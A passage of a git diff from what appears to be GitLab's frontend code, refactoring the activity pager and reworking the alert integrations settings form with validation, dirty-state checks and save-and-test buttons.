return new Promise((resolve) => {
diff --git a/app/assets/javascripts/activities.js b/app/assets/javascripts/activities.js
index 5064d9ee2d2..b671d038ce8 100644
--- a/app/assets/javascripts/activities.js
+++ b/app/assets/javascripts/activities.js
@@ -2,14 +2,20 @@
import $ from 'jquery';
import Cookies from 'js-cookie';
+import createFlash from '~/flash';
+import { s__ } from '~/locale';
import { localTimeAgo } from './lib/utils/datetime_utility';
import Pager from './pager';
export default class Activities {
- constructor(container = '') {
- this.container = container;
+ constructor(containerSelector = '') {
+ this.containerSelector = containerSelector;
+ this.containerEl = this.containerSelector
+ ? document.querySelector(this.containerSelector)
+ : undefined;
+ this.$contentList = $('.content_list');
- Pager.init(20, true, false, (data) => data, this.updateTooltips, this.container);
+ this.loadActivities();
$('.event-filter-link').on('click', (e) => {
e.preventDefault();
@@ -18,13 +24,30 @@ export default class Activities {
});
}
+ loadActivities() {
+ Pager.init({
+ limit: 20,
+ preload: true,
+ prepareData: (data) => data,
+ successCallback: () => this.updateTooltips(),
+ errorCallback: () =>
+ createFlash({
+ message: s__(
+ 'Activity|An error occured while retrieving activity. Reload the page to try again.',
+ ),
+ parent: this.containerEl,
+ }),
+ container: this.containerSelector,
+ });
+ }
+
updateTooltips() {
localTimeAgo($('.js-timeago', '.content_list'));
}
reloadActivities() {
- $('.content_list').html('');
- Pager.init(20, true, false, (data) => data, this.updateTooltips, this.container);
+ this.$contentList.html('');
+ this.loadActivities();
}
toggleFilter(sender) {
diff --git a/app/assets/javascripts/admin/statistics_panel/constants.js b/app/assets/javascripts/admin/statistics_panel/constants.js
index 2dce19a3894..de413b2e7f0 100644
--- a/app/assets/javascripts/admin/statistics_panel/constants.js
+++ b/app/assets/javascripts/admin/statistics_panel/constants.js
@@ -3,7 +3,7 @@ import { s__ } from '~/locale';
const statisticsLabels = {
forks: s__('AdminStatistics|Forks'),
issues: s__('AdminStatistics|Issues'),
- mergeRequests: s__('AdminStatistics|Merge Requests'),
+ mergeRequests: s__('AdminStatistics|Merge requests'),
notes: s__('AdminStatistics|Notes'),
snippets: s__('AdminStatistics|Snippets'),
sshKeys: s__('AdminStatistics|SSH Keys'),
diff --git a/app/assets/javascripts/admin/users/components/users_table.vue b/app/assets/javascripts/admin/users/components/users_table.vue
index 8962068601c..8b41a063abc 100644
--- a/app/assets/javascripts/admin/users/components/users_table.vue
+++ b/app/assets/javascripts/admin/users/components/users_table.vue
@@ -1,9 +1,9 @@
<script>
import { GlTable } from '@gitlab/ui';
import { __ } from '~/locale';
+import UserDate from '~/vue_shared/components/user_date.vue';
import UserActions from './user_actions.vue';
import UserAvatar from './user_avatar.vue';
-import UserDate from './user_date.vue';
const DEFAULT_TH_CLASSES =
'gl-bg-transparent! gl-border-b-solid! gl-border-b-gray-100! gl-p-5! gl-border-b-1!';
diff --git a/app/assets/javascripts/admin/users/constants.js b/app/assets/javascripts/admin/users/constants.js
index 8ea1bd3ca7a..c55edefe607 100644
--- a/app/assets/javascripts/admin/users/constants.js
+++ b/app/assets/javascripts/admin/users/constants.js
@@ -2,8 +2,6 @@ import { s__, __ } from '~/locale';
export const USER_AVATAR_SIZE = 32;
-export const SHORT_DATE_FORMAT = 'd mmm, yyyy';
-
export const LENGTH_OF_USER_NOTE_TOOLTIP = 100;
export const I18N_USER_ACTIONS = {
diff --git a/app/assets/javascripts/admin/users/new.js b/app/assets/javascripts/admin/users/new.js
new file mode 100644
index 00000000000..33565bfc14f
--- /dev/null
+++ b/app/assets/javascripts/admin/users/new.js
@@ -0,0 +1,55 @@
+const DATA_ATTR_REGEX_PATTERN = 'data-user-internal-regex-pattern';
+const DATA_ATTR_REGEX_OPTIONS = 'data-user-internal-regex-options';
+export const ID_USER_EXTERNAL = 'user_external';
+export const ID_WARNING = 'warning_external_automatically_set';
+export const ID_USER_EMAIL = 'user_email';
+
+const getAttributeValue = (attr) => document.querySelector(`[${attr}]`)?.getAttribute(attr);
+
+const getRegexPattern = () => getAttributeValue(DATA_ATTR_REGEX_PATTERN);
+
+const getRegexOptions = () => getAttributeValue(DATA_ATTR_REGEX_OPTIONS);
+
+export const setupInternalUserRegexHandler = () => {
+ const regexPattern = getRegexPattern();
+
+ if (!regexPattern) {
+ return;
+ }
+
+ const regexOptions = getRegexOptions();
+ const elExternal = document.getElementById(ID_USER_EXTERNAL);
+ const elWarningMessage = document.getElementById(ID_WARNING);
+ const elUserEmail = document.getElementById(ID_USER_EMAIL);
+
+ const isEmailInternal = (email) => {
+ const regex = new RegExp(regexPattern, regexOptions);
+ return regex.test(email);
+ };
+
+ const setExternalCheckbox = (email) => {
+ const isChecked = elExternal.checked;
+
+ if (isEmailInternal(email)) {
+ if (isChecked) {
+ elExternal.checked = false;
+ elWarningMessage.classList.remove('hidden');
+ }
+ } else if (!isChecked) {
+ elExternal.checked = true;
+ elWarningMessage.classList.add('hidden');
+ }
+ };
+
+ const setupListeners = () => {
+ elUserEmail.addEventListener('input', (event) => {
+ setExternalCheckbox(event.target.value);
+ });
+
+ elExternal.addEventListener('change', () => {
+ elWarningMessage.classList.add('hidden');
+ });
+ };
+
+ setupListeners();
+};
diff --git a/app/assets/javascripts/alert_management/components/alert_management_empty_state.vue b/app/assets/javascripts/alert_management/components/alert_management_empty_state.vue
index 9b0e5090a75..77c14d9f812 100644
--- a/app/assets/javascripts/alert_management/components/alert_management_empty_state.vue
+++ b/app/assets/javascripts/alert_management/components/alert_management_empty_state.vue
@@ -43,7 +43,7 @@ export default {
</gl-link>
</div>
<div v-if="userCanEnableAlertManagement" class="gl-display-block center gl-pt-4">
- <gl-button category="primary" variant="success" :href="enableAlertManagementPath">
+ <gl-button category="primary" variant="confirm" :href="enableAlertManagementPath">
{{ $options.i18n.emptyState.buttonText }}
</gl-button>
</div>
diff --git a/app/assets/javascripts/alert_management/list.js b/app/assets/javascripts/alert_management/list.js
index f5eac26431f..b23f8a8eba4 100644
--- a/app/assets/javascripts/alert_management/list.js
+++ b/app/assets/javascripts/alert_management/list.js
@@ -5,6 +5,7 @@ import createDefaultClient from '~/lib/graphql';
import { parseBoolean } from '~/lib/utils/common_utils';
import { PAGE_CONFIG } from '~/vue_shared/alert_details/constants';
import AlertManagementList from './components/alert_management_list_wrapper.vue';
+import alertsHelpUrlQuery from './graphql/queries/alert_help_url.query.graphql';
Vue.use(VueApollo);
@@ -41,7 +42,8 @@ export default () => {
),
});
- apolloProvider.clients.defaultClient.cache.writeData({
+ apolloProvider.clients.defaultClient.cache.writeQuery({
+ query: alertsHelpUrlQuery,
data: {
alertsHelpUrl,
},
diff --git a/app/assets/javascripts/alerts_settings/components/alert_mapping_builder.vue b/app/assets/javascripts/alerts_settings/components/alert_mapping_builder.vue
index 07b2e59671e..5171588eb64 100644
--- a/app/assets/javascripts/alerts_settings/components/alert_mapping_builder.vue
+++ b/app/assets/javascripts/alerts_settings/components/alert_mapping_builder.vue
@@ -118,17 +118,17 @@ export default {
<template>
<div class="gl-display-table gl-w-full gl-mt-5">
<div class="gl-display-table-row">
- <h5 id="gitlabFieldsHeader" class="gl-display-table-cell gl-py-3 gl-pr-3">
+ <h5 id="gitlabFieldsHeader" class="gl-display-table-cell gl-pb-3 gl-pr-3">
{{ $options.i18n.columns.gitlabKeyTitle }}
</h5>
- <h5 class="gl-display-table-cell gl-py-3 gl-pr-3">&nbsp;</h5>
- <h5 id="parsedFieldsHeader" class="gl-display-table-cell gl-py-3 gl-pr-3">
+ <h5 class="gl-display-table-cell gl-pb-3 gl-pr-3">&nbsp;</h5>
+ <h5 id="parsedFieldsHeader" class="gl-display-table-cell gl-pb-3 gl-pr-3">
{{ $options.i18n.columns.payloadKeyTitle }}
</h5>
<h5
v-if="hasFallbackColumn"
id="fallbackFieldsHeader"
- class="gl-display-table-cell gl-py-3 gl-pr-3"
+ class="gl-display-table-cell gl-pb-3 gl-pr-3"
>
{{ $options.i18n.columns.fallbackKeyTitle }}
<gl-icon
@@ -140,11 +140,7 @@ export default {
</h5>
</div>
- <div
- v-for="(gitlabField, index) in mappingData"
- :key="gitlabField.name"
- class="gl-display-table-row"
- >
+ <div v-for="gitlabField in mappingData" :key="gitlabField.name" class="gl-display-table-row">
<div class="gl-display-table-cell gl-py-3 gl-pr-3 gl-w-30p gl-vertical-align-middle">
<gl-form-input
aria-labelledby="gitlabFieldsHeader"
@@ -153,8 +149,8 @@ export default {
/>
</div>
- <div class="gl-display-table-cell gl-py-3 gl-pr-3">
- <div class="right-arrow" :class="{ 'gl-vertical-align-middle': index === 0 }">
+ <div class="gl-display-table-cell gl-pr-3 gl-vertical-align-middle">
+ <div class="right-arrow">
<i class="right-arrow-head"></i>
</div>
</div>
diff --git a/app/assets/javascripts/alerts_settings/components/alerts_integrations_list.vue b/app/assets/javascripts/alerts_settings/components/alerts_integrations_list.vue
index a5e17d80f86..ef29fc5e8b4 100644
--- a/app/assets/javascripts/alerts_settings/components/alerts_integrations_list.vue
+++ b/app/assets/javascripts/alerts_settings/components/alerts_integrations_list.vue
@@ -21,8 +21,10 @@ import {
import getCurrentIntegrationQuery from '../graphql/queries/get_current_integration.query.graphql';
export const i18n = {
+ deleteIntegration: s__('AlertSettings|Delete integration'),
+ editIntegration: s__('AlertSettings|Edit integration'),
title: s__('AlertsIntegrations|Current integrations'),
- emptyState: s__('AlertsIntegrations|No integrations have been added yet'),
+ emptyState: s__('AlertsIntegrations|No integrations have been added yet.'),
status: {
enabled: {
name: __('Enabled'),
@@ -139,7 +141,7 @@ export default {
<template>
<div class="incident-management-list">
- <h5 class="gl-font-lg">{{ $options.i18n.title }}</h5>
+ <h5 class="gl-font-lg gl-mt-5">{{ $options.i18n.title }}</h5>
<gl-table
class="integration-list"
:items="integrations"
@@ -174,11 +176,16 @@ export default {
<template #cell(actions)="{ item }">
<gl-button-group class="gl-ml-3">
- <gl-button icon="settings" @click="editIntegration(item)" />
+ <gl-button
+ icon="settings"
+ :aria-label="$options.i18n.editIntegration"
+ @click="editIntegration(item)"
+ />
<gl-button
v-gl-modal.deleteIntegration
:disabled="item.type === $options.typeSet.prometheus"
icon="remove"
+ :aria-label="$options.i18n.deleteIntegration"
@click="setIntegrationToDelete(item)"
/>
</gl-button-group>
@@ -198,15 +205,15 @@ export default {
</gl-table>
<gl-modal
modal-id="deleteIntegration"
- :title="s__('AlertSettings|Delete integration')"
- :ok-title="s__('AlertSettings|Delete integration')"
+ :title="$options.i18n.deleteIntegration"
+ :ok-title="$options.i18n.deleteIntegration"
ok-variant="danger"
@ok="deleteIntegration"
>
<gl-sprintf
:message="
s__(
- 'AlertsIntegrations|You have opted to delete the %{integrationName} integration. Do you want to proceed? It means you will no longer receive alerts from this endpoint in your alert list, and this action cannot be undone.',
+ 'AlertsIntegrations|If you delete the %{integrationName} integration, alerts are no longer sent from this endpoint. This action cannot be undone.',
)
"
>
diff --git a/app/assets/javascripts/alerts_settings/components/alerts_settings_form.vue b/app/assets/javascripts/alerts_settings/components/alerts_settings_form.vue
index 5d9513e5b53..a5f7b84446f 100644
--- a/app/assets/javascripts/alerts_settings/components/alerts_settings_form.vue
+++ b/app/assets/javascripts/alerts_settings/components/alerts_settings_form.vue
@@ -14,7 +14,7 @@ import {
GlTab,
} from '@gitlab/ui';
import * as Sentry from '@sentry/browser';
-import { isEmpty, omit } from 'lodash';
+import { isEqual, isEmpty, omit } from 'lodash';
import ClipboardButton from '~/vue_shared/components/clipboard_button.vue';
import {
integrationTypes,
@@ -24,8 +24,9 @@ import {
JSON_VALIDATE_DELAY,
targetPrometheusUrlPlaceholder,
typeSet,
- viewCredentialsTabIndex,
i18n,
+ tabIndices,
+ testAlertModalId,
} from '../constants';
import getCurrentIntegrationQuery from '../graphql/queries/get_current_integration.query.graphql';
import parseSamplePayloadQuery from '../graphql/queries/parse_sample_payload.query.graphql';
@@ -40,6 +41,10 @@ export default {
typeSet,
integrationSteps,
i18n,
+ primaryProps: { text: i18n.integrationFormSteps.testPayload.savedAndTest },
+ secondaryProps: { text: i18n.integrationFormSteps.testPayload.proceedWithoutSave },
+ cancelProps: { text: i18n.integrationFormSteps.testPayload.cancel },
+ testAlertModalId,
components: {
ClipboardButton,
GlButton,
@@ -60,11 +65,8 @@ export default {
GlModal: GlModalDirective,
},
inject: {
- generic: {
- default: {},
- },
- prometheus: {
- default: {},
+ alertsUsageUrl: {
+ default: '#',
},
multiIntegrations: {
default: false,
@@ -87,6 +89,11 @@ export default {
required: false,
default: null,
},
+ tabIndex: {
+ type: Number,
+ required: false,
+ default: tabIndices.configureDetails,
+ },
},
apollo: {
currentIntegration: {
@@ -96,11 +103,10 @@ export default {
data() {
return {
integrationTypesOptions: Object.values(integrationTypes),
- selectedIntegration: integrationTypes.none.value,
- active: false,
samplePayload: {
json: null,
error: null,
+ loading: false,
},
testPayload: {
json: null,
@@ -108,18 +114,32 @@ export default {
},
resetPayloadAndMappingConfirmed: false,
mapping: [],
- parsingPayload: false,
+ integrationForm: {
+ active: false,
+ type: integrationTypes.none.value,
+ name: '',
+ token: '',
+ url: '',
+ apiUrl: '',
+ },
+ activeTabIndex: this.tabIndex,
currentIntegration: null,
parsedPayload: [],
- activeTabIndex: 0,
+ validationState: {
+ name: true,
+ apiUrl: true,
+ },
};
},
computed: {
isPrometheus() {
- return this.selectedIntegration === this.$options.typeSet.prometheus;
+ return this.integrationForm.type === typeSet.prometheus;
},
isHttp() {
- return this.selectedIntegration === this.$options.typeSet.http;
+ return this.integrationForm.type === typeSet.http;
+ },
+ isNone() {
+ return !this.isHttp && !this.isPrometheus;
},
isCreating() {
return !this.currentIntegration;
@@ -130,29 +150,6 @@ export default {
isTestPayloadValid() {
return this.testPayload.error === null;
},
- selectedIntegrationType() {
- switch (this.selectedIntegration) {
- case typeSet.http:
- return this.generic;
- case typeSet.prometheus:
- return this.prometheus;
- default:
- return {};
- }
- },
- integrationForm() {
- return {
- name: this.currentIntegration?.name || '',
- active: this.currentIntegration?.active || false,
- token:
- this.currentIntegration?.token ||
- (this.selectedIntegrationType !== this.generic ? this.selectedIntegrationType.token : ''),
- url:
- this.currentIntegration?.url ||
- (this.selectedIntegrationType !== this.generic ? this.selectedIntegrationType.url : ''),
- apiUrl: this.currentIntegration?.apiUrl || '',
- };
- },
testAlertPayload() {
return {
data: this.testPayload.json,
@@ -170,13 +167,7 @@ export default {
return this.hasSamplePayload && !this.resetPayloadAndMappingConfirmed;
},
canParseSamplePayload() {
- return !this.active || !this.isSampePayloadValid || !this.samplePayload.json;
- },
- isResetAuthKeyDisabled() {
- return !this.active && !this.integrationForm.token !== '';
- },
- isPayloadEditDisabled() {
- return !this.active || this.canEditPayload;
+ return this.isSampePayloadValid && this.samplePayload.json;
},
isSelectDisabled() {
return this.currentIntegration !== null || !this.canAddIntegration;
@@ -186,30 +177,105 @@ export default {
? i18n.integrationFormSteps.setupCredentials.prometheusHelp
: i18n.integrationFormSteps.setupCredentials.help;
},
+ isFormValid() {
+ return (
+ Object.values(this.validationState).every(Boolean) &&
+ !this.isNone &&
+ this.isSampePayloadValid
+ );
+ },
+ isFormDirty() {
+ const { type, active, name, apiUrl, payloadAlertFields = [], payloadAttributeMappings = [] } =
+ this.currentIntegration || {};
+ const {
+ name: formName,
+ apiUrl: formApiUrl,
+ active: formActive,
+ type: formType,
+ } = this.integrationForm;
+
+ const isDirty =
+ type !== formType ||
+ active !== formActive ||
+ name !== formName ||
+ apiUrl !== formApiUrl ||
+ !isEqual(this.parsedPayload, payloadAlertFields) ||
+ !isEqual(this.mapping, this.getCleanMapping(payloadAttributeMappings));
+
+ return isDirty;
+ },
+ canSubmitForm() {
+ return this.isFormValid && this.isFormDirty;
+ },
+ dataForSave() {
+ const { name, apiUrl, active } = this.integrationForm;
+ const customMappingVariables = {
+ payloadAttributeMappings: this.mapping,
+ payloadExample: this.samplePayload.json || '{}',
+ };
+
+ const variables = this.isHttp
+ ? { name, active, ...customMappingVariables }
+ : { apiUrl, active };
+
+ return { type: this.integrationForm.type, variables };
+ },
+ testAlertModal() {
+ return this.isFormDirty ? testAlertModalId : null;
+ },
+ prometheusUrlInvalidFeedback() {
+ const { blankUrlError, invalidUrlError } = i18n.integrationFormSteps.prometheusFormUrl;
+ return this.integrationForm.apiUrl?.length ? invalidUrlError : blankUrlError;
+ },
},
watch: {
+ tabIndex(val) {
+ this.activeTabIndex = val;
+ },
currentIntegration(val) {
if (val === null) {
this.reset();
return;
}
- const { type, active, payloadExample, payloadAlertFields, payloadAttributeMappings } = val;
- this.selectedIntegration = type;
- this.active = active;
- if (type === typeSet.http && this.showMappingBuilder) {
+ this.resetPayloadAndMapping();
+ const {
+ name,
+ type,
+ active,
+ url,
+ apiUrl,
+ token,
+ payloadExample,
+ payloadAlertFields,
+ payloadAttributeMappings,
+ } = val;
+ this.integrationForm = { type, name, active, url, apiUrl, token };
+
+ if (this.showMappingBuilder) {
+ this.resetPayloadAndMappingConfirmed = false;
this.parsedPayload = payloadAlertFields;
- this.samplePayload.json = this.isValidNonEmptyJSON(payloadExample) ? payloadExample : null;
- const mapping = payloadAttributeMappings.map((mappingItem) =>
- omit(mappingItem, '__typename'),
- );
- this.updateMapping(mapping);
+ this.samplePayload.json = this.getPrettifiedPayload(payloadExample);
+ this.updateMapping(this.getCleanMapping(payloadAttributeMappings));
}
- this.activeTabIndex = viewCredentialsTabIndex;
this.$el.scrollIntoView({ block: 'center' });
},
},
methods: {
+ getCleanMapping(mapping) {
+ return mapping.map((mappingItem) => omit(mappingItem, '__typename'));
+ },
+ validateName() {
+ this.validationState.name = Boolean(this.integrationForm.name?.length);
+ },
+ validateApiUrl() {
+ try {
+ const parsedUrl = new URL(this.integrationForm.apiUrl);
+ this.validationState.apiUrl = ['http:', 'https:'].includes(parsedUrl.protocol);
+ } catch (e) {
+ this.validationState.apiUrl = false;
+ }
+ },
isValidNonEmptyJSON(JSONString) {
if (JSONString) {
let parsed;
@@ -222,29 +288,37 @@ export default {
}
return false;
},
+ getPrettifiedPayload(payload) {
+ return this.isValidNonEmptyJSON(payload)
+ ? JSON.stringify(JSON.parse(payload), null, '\t')
+ : null;
+ },
+ triggerValidation() {
+ if (this.isHttp) {
+ this.validationState.apiUrl = true;
+ this.validateName();
+ if (!this.validationState.name) {
+ this.$refs.integrationName.$el.scrollIntoView({ behavior: 'smooth', block: 'center' });
+ }
+ } else if (this.isPrometheus) {
+ this.validationState.name = true;
+ this.validateApiUrl();
+ }
+ },
sendTestAlert() {
this.$emit('test-alert-payload', this.testAlertPayload);
},
- submit() {
- const { name, apiUrl } = this.integrationForm;
- const customMappingVariables = {
- payloadAttributeMappings: this.mapping,
- payloadExample: this.samplePayload.json || '{}',
- };
-
- const variables =
- this.selectedIntegration === typeSet.http
- ? { name, active: this.active, ...customMappingVariables }
- : { apiUrl, active: this.active };
-
- const integrationPayload = { type: this.selectedIntegration, variables };
+ saveAndSendTestAlert() {
+ this.$emit('save-and-test-alert-payload', this.dataForSave, this.testAlertPayload);
+ },
+ submit(testAfterSubmit = false) {
+ this.triggerValidation();
- if (this.currentIntegration) {
- return this.$emit('update-integration', integrationPayload);
+ if (!this.isFormValid) {
+ return;
}
-
- this.reset();
- return this.$emit('create-new-integration', integrationPayload);
+ const event = this.currentIntegration ? 'update-integration' : 'create-new-integration';
+ this.$emit(event, this.dataForSave, testAfterSubmit);
},
reset() {
this.resetFormValues();
@@ -252,14 +326,14 @@ export default {
this.$emit('clear-current-integration', { type: this.currentIntegration?.type });
},
resetFormValues() {
- this.selectedIntegration = integrationTypes.none.value;
+ this.integrationForm.type = integrationTypes.none.value;
this.integrationForm.name = '';
+ this.integrationForm.active = false;
this.integrationForm.apiUrl = '';
this.samplePayload = {
json: null,
error: null,
};
- this.active = false;
},
resetAuthKey() {
if (!this.currentIntegration) {
@@ -267,7 +341,7 @@ export default {
}
this.$emit('reset-token', {
- type: this.selectedIntegration,
+ type: this.integrationForm.type,
variables: { id: this.currentIntegration.id },
});
},
@@ -285,8 +359,8 @@ export default {
payload.error = JSON.stringify(e.message);
}
},
- parseMapping() {
- this.parsingPayload = true;
+ parseSamplePayload() {
+ this.samplePayload.loading = true;
return this.$apollo
.query({
@@ -303,7 +377,7 @@ export default {
this.resetPayloadAndMappingConfirmed = false;
this.$toast.show(
- this.$options.i18n.integrationFormSteps.setSamplePayload.payloadParsedSucessMsg,
+ this.$options.i18n.integrationFormSteps.mapFields.payloadParsedSucessMsg,
);
},
)
@@ -311,7 +385,7 @@ export default {
this.samplePayload.error = message;
})
.finally(() => {
- this.parsingPayload = false;
+ this.samplePayload.loading = false;
});
},
updateMapping(mapping) {
@@ -338,7 +412,7 @@ export default {
<template>
<gl-form class="gl-mt-6" @submit.prevent="submit" @reset.prevent="reset">
<gl-tabs v-model="activeTabIndex">
- <gl-tab :title="$options.i18n.integrationTabs.configureDetails">
+ <gl-tab :title="$options.i18n.integrationTabs.configureDetails" class="gl-mt-3">
<gl-form-group
v-if="isCreating"
id="integration-type"
@@ -351,7 +425,7 @@ export default {
label-for="integration-type"
>
<gl-form-select
- v-model="selectedIntegration"
+ v-model="integrationForm.type"
:disabled="isSelectDisabled"
class="gl-max-w-full"
:options="integrationTypesOptions"
@@ -369,7 +443,6 @@ export default {
<div class="gl-mt-3">
<gl-form-group
v-if="isHttp"
- id="name-integration"
:label="
getLabelWithStepNumber(
$options.integrationSteps.nameIntegration,
@@ -377,67 +450,82 @@ export default {
)
"
label-for="name-integration"
+ :invalid-feedback="$options.i18n.integrationFormSteps.nameIntegration.error"
+ :state="validationState.name"
>
<gl-form-input
+ id="name-integration"
+ ref="integrationName"
v-model="integrationForm.name"
type="text"
:placeholder="$options.i18n.integrationFormSteps.nameIntegration.placeholder"
+ @input="validateName"
/>
</gl-form-group>
- <gl-toggle
- v-model="active"
- :is-loading="loading"
- :label="$options.i18n.integrationFormSteps.nameIntegration.activeToggle"
- class="gl-my-4 gl-font-weight-normal"
- />
-
- <div v-if="isPrometheus" class="gl-my-4">
- <span class="gl-font-weight-bold">
- {{
- getLabelWithStepNumber(
- $options.integrationSteps.setPrometheusApiUrl,
- $options.i18n.integrationFormSteps.prometheusFormUrl.label,
- )
- }}
- </span>
+ <gl-form-group
+ v-if="!isNone"
+ :label="
+ getLabelWithStepNumber(
+ isHttp
+ ? $options.integrationSteps.enableHttpIntegration
+ : $options.integrationSteps.enablePrometheusIntegration,
+ $options.i18n.integrationFormSteps.enableIntegration.label,
+ )
+ "
+ >
+ <span>{{ $options.i18n.integrationFormSteps.enableIntegration.help }}</span>
+
+ <gl-toggle
+ id="enable-integration"
+ v-model="integrationForm.active"
+ :is-loading="loading"
+ :label="$options.i18n.integrationFormSteps.nameIntegration.activeToggle"
+ class="gl-mt-4 gl-font-weight-normal"
+ />
+ </gl-form-group>
+ <gl-form-group
+ v-if="isPrometheus"
+ class="gl-my-4"
+ :label="$options.i18n.integrationFormSteps.prometheusFormUrl.label"
+ label-for="api-url"
+ :invalid-feedback="prometheusUrlInvalidFeedback"
+ :state="validationState.apiUrl"
+ >
<gl-form-input
- id="integration-apiUrl"
+ id="api-url"
v-model="integrationForm.apiUrl"
type="text"
:placeholder="$options.placeholders.prometheus"
+ @input="validateApiUrl"
/>
-
<span class="gl-text-gray-400">
{{ $options.i18n.integrationFormSteps.prometheusFormUrl.help }}
</span>
- </div>
+ </gl-form-group>
<template v-if="showMappingBuilder">
<gl-form-group
data-testid="sample-payload-section"
:label="
getLabelWithStepNumber(
- $options.integrationSteps.setSamplePayload,
- $options.i18n.integrationFormSteps.setSamplePayload.label,
+ $options.integrationSteps.customizeMapping,
+ $options.i18n.integrationFormSteps.mapFields.label,
)
"
label-for="sample-payload"
class="gl-mb-0!"
:invalid-feedback="samplePayload.error"
>
- <alert-settings-form-help-block
- :message="$options.i18n.integrationFormSteps.setSamplePayload.testPayloadHelpHttp"
- :link="generic.alertsUsageUrl"
- />
+ <span>{{ $options.i18n.integrationFormSteps.mapFields.help }}</span>
<gl-form-textarea
id="sample-payload"
- v-model.trim="samplePayload.json"
- :disabled="isPayloadEditDisabled"
+ v-model="samplePayload.json"
+ :disabled="canEditPayload"
:state="isSampePayloadValid"
- :placeholder="$options.i18n.integrationFormSteps.setSamplePayload.placeholder"
+ :placeholder="$options.i18n.integrationFormSteps.mapFields.placeholder"
class="gl-my-3"
:debounce="$options.JSON_VALIDATE_DELAY"
rows="6"
@@ -450,71 +538,76 @@ export default {
v-if="canEditPayload"
v-gl-modal.resetPayloadModal
data-testid="payload-action-btn"
- :disabled="!active"
+ :disabled="!integrationForm.active"
class="gl-mt-3"
>
- {{ $options.i18n.integrationFormSteps.setSamplePayload.editPayload }}
+ {{ $options.i18n.integrationFormSteps.mapFields.editPayload }}
</gl-button>
<gl-button
v-else
data-testid="payload-action-btn"
:class="{ 'gl-mt-3': samplePayload.error }"
- :disabled="canParseSamplePayload"
- :loading="parsingPayload"
- @click="parseMapping"
+ :disabled="!canParseSamplePayload"
+ :loading="samplePayload.loading"
+ @click="parseSamplePayload"
>
- {{ $options.i18n.integrationFormSteps.setSamplePayload.parsePayload }}
+ {{ $options.i18n.integrationFormSteps.mapFields.parsePayload }}
</gl-button>
<gl-modal
modal-id="resetPayloadModal"
- :title="$options.i18n.integrationFormSteps.setSamplePayload.resetHeader"
- :ok-title="$options.i18n.integrationFormSteps.setSamplePayload.resetOk"
+ :title="$options.i18n.integrationFormSteps.mapFields.resetHeader"
+ :ok-title="$options.i18n.integrationFormSteps.mapFields.resetOk"
ok-variant="danger"
- @ok="resetPayloadAndMapping"
+ @ok="resetPayloadAndMappingConfirmed = true"
>
- {{ $options.i18n.integrationFormSteps.setSamplePayload.resetBody }}
+ {{ $options.i18n.integrationFormSteps.mapFields.resetBody }}
</gl-modal>
- <gl-form-group
- id="mapping-builder"
- class="gl-mt-5"
- :label="
- getLabelWithStepNumber(
- $options.integrationSteps.customizeMapping,
- $options.i18n.integrationFormSteps.mapFields.label,
- )
- "
- label-for="mapping-builder"
- >
- <span>{{ $options.i18n.integrationFormSteps.mapFields.intro }}</span>
+ <div class="gl-mt-5">
+ <span>{{ $options.i18n.integrationFormSteps.mapFields.mapIntro }}</span>
<mapping-builder
:parsed-payload="parsedPayload"
:saved-mapping="mapping"
:alert-fields="alertFields"
@onMappingUpdate="updateMapping"
/>
- </gl-form-group>
+ </div>
</template>
</div>
-
<div class="gl-display-flex gl-justify-content-start gl-py-3">
<gl-button
- type="submit"
+ :disabled="!canSubmitForm"
variant="confirm"
class="js-no-auto-disable"
data-testid="integration-form-submit"
+ @click="submit(false)"
>
{{ $options.i18n.saveIntegration }}
</gl-button>
+ <gl-button
+ :disabled="!canSubmitForm"
+ variant="confirm"
+ category="secondary"
+ class="gl-ml-3 js-no-auto-disable"
+ data-testid="integration-form-test-and-submit"
+ @click="submit(true)"
+ >
+ {{ $options.i18n.saveAndTestIntegration }}
+ </gl-button>
+
<gl-button type="reset" class="gl-ml-3 js-no-auto-disable">{{
$options.i18n.cancelAndClose
}}</gl-button>
</div>
</gl-tab>
- <gl-tab :title="$options.i18n.integrationTabs.viewCredentials" :disabled="isCreating">
+ <gl-tab
+ :title="$options.i18n.integrationTabs.viewCredentials"
+ :disabled="isCreating"
+ class="gl-mt-3"
+ >
<alert-settings-form-help-block
:message="viewCredentialsHelpMsg"
link="https://docs.gitlab.com/ee/operations/incident_management/alert_integrations.html"
@@ -559,13 +652,15 @@ export default {
</div>
</gl-form-group>
- <gl-button v-gl-modal.authKeyModal :disabled="isResetAuthKeyDisabled" variant="danger">
- {{ $options.i18n.integrationFormSteps.setupCredentials.reset }}
- </gl-button>
+ <div class="gl-display-flex gl-justify-content-start gl-py-3">
+ <gl-button v-gl-modal.authKeyModal variant="danger">
+ {{ $options.i18n.integrationFormSteps.setupCredentials.reset }}
+ </gl-button>
- <gl-button type="reset" class="gl-ml-3 js-no-auto-disable">{{
- $options.i18n.cancelAndClose
- }}</gl-button>
+ <gl-button type="reset" class="gl-ml-3 js-no-auto-disable">
+ {{ $options.i18n.cancelAndClose }}
+ </gl-button>
+ </div>
<gl-modal
modal-id="authKeyModal"
@@ -578,18 +673,22 @@ export default {
</gl-modal>
</gl-tab>
- <gl-tab :title="$options.i18n.integrationTabs.sendTestAlert" :disabled="isCreating">
+ <gl-tab
+ :title="$options.i18n.integrationTabs.sendTestAlert"
+ :disabled="isCreating"
+ class="gl-mt-3"
+ >
<gl-form-group id="test-integration" :invalid-feedback="testPayload.error">
<alert-settings-form-help-block
- :message="$options.i18n.integrationFormSteps.setSamplePayload.testPayloadHelp"
- :link="generic.alertsUsageUrl"
+ :message="$options.i18n.integrationFormSteps.testPayload.help"
+ :link="alertsUsageUrl"
/>
<gl-form-textarea
id="test-payload"
- v-model.trim="testPayload.json"
+ v-model="testPayload.json"
:state="isTestPayloadValid"
- :placeholder="$options.i18n.integrationFormSteps.setSamplePayload.placeholder"
+ :placeholder="$options.i18n.integrationFormSteps.testPayload.placeholder"
class="gl-my-3"
:debounce="$options.JSON_VALIDATE_DELAY"
rows="6"
@@ -597,20 +696,35 @@ export default {
@input="validateJson(false)"
/>
</gl-form-group>
+ <div class="gl-display-flex gl-justify-content-start gl-py-3">
+ <gl-button
+ v-gl-modal="testAlertModal"
+ :disabled="!isTestPayloadValid"
+ :loading="loading"
+ data-testid="send-test-alert"
+ variant="confirm"
+ class="js-no-auto-disable"
+ @click="isFormDirty ? null : sendTestAlert()"
+ >
+ {{ $options.i18n.send }}
+ </gl-button>
- <gl-button
- :disabled="!isTestPayloadValid"
- data-testid="send-test-alert"
- variant="confirm"
- class="js-no-auto-disable"
- @click="sendTestAlert"
- >
- {{ $options.i18n.send }}
- </gl-button>
+ <gl-button type="reset" class="gl-ml-3 js-no-auto-disable">
+ {{ $options.i18n.cancelAndClose }}
